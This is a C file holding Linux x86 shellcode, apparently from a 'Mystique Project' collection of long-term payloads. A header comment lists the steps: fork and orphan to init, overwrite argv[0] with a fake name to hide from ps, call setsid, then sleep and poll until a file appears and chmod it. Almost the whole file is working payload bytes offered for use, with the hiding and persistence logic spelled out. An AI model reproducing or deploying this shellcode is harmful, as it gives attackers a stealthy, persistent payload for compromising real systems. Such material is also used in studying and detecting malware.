/*----------------------------------------------------------------------------* * [Mystique Project: Examples of long-term payloads] * * hide-wait-change code * * by xort@tty64.org & izik@tty64.org * *----------------------------------------------------------------------------* * This code, upon execution, will perform the following things... * * * * 1) Fork a new process, and kill PPID via _exit() so we get inherrited * * by init and now have a new PID. * * 2) Will obtain the current location of argv[0] by retrieving information * * from /proc/self/stat. * * 3) Copy the name we wish to masquarade as into argv[0] in memory. * * 4) Call setsid() to establish ourselfs as a process leader. * * 5) Will sleep via nanosleep() for a givin interval of time. * * 6) Will check to see if a file exist via access(). * * 7) If it does not Loop back to step 5 * * 8) If it does then we chmod() the file with permissions 0455. * * 9) Calls _exit() * * * * * steps 3-4 effectivly hide us from most ps-listings * * * * size: 187 + strlen(new-proc-name) + strlen(file-to-change) * *----------------------------------------------------------------------------*/ char shellcode[]= "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x79\x31\xc0\x40\xcd\x80\x5b\x8d" "\x73\x10\xfe\x43\x0f\x99\x31\xc9\xb0\x05\xcd\x80\x93\x6a\x03\x58" "\xb2\xfa\x89\xe1\x29\xd1\xcd\x80\x89\xcf\x01\xc7\x93\xfd\x6a\x20" "\x58\x6a\x0e\x59\x87\xcb\xf2\xae\x87\xcb\xe2\xf8\x47\x47\x31\xc0" "\x6a\x0a\x5b\xfc\x31\xd2\x8a\x0f\x83\xe9\x30\x01\xc8\x47\x80\x3f" "\x20\x74\x04\xf7\xe3\xeb\xed\x94\x5f\x5f\x94\x57\xb1\xff\x31\xc0" "\xf3\xaa\x5f\x56\x4e\x46\x41\x80\x3e\xff\x75\xf9\xfe\x06\x5e\xf3" "\xa4\xb0\x42\xcd\x80\x89\xf7\x92\x48\x89\xc1\xf2\xae\xfe\x47\xff" "\xff\xe7\xe8\x87\xff\xff\xff" "/proc/self/stat\xff" // "xort and izik rocks the linux box\xff" // new proc name "/tmp/foo\xff" // file to chmod "\x6a" // "\x03" // sleep-time "\x40\x89\xe1\x89\xe3\x34\xa2\xcd\x80\x31\xc9\x89\xf3\x34\x21\xcd" "\x80\x85\xc0\x75\xeb\xb0\x0f\x66\xb9\x6d\x09\xcd\x80\x40\xcd\x80";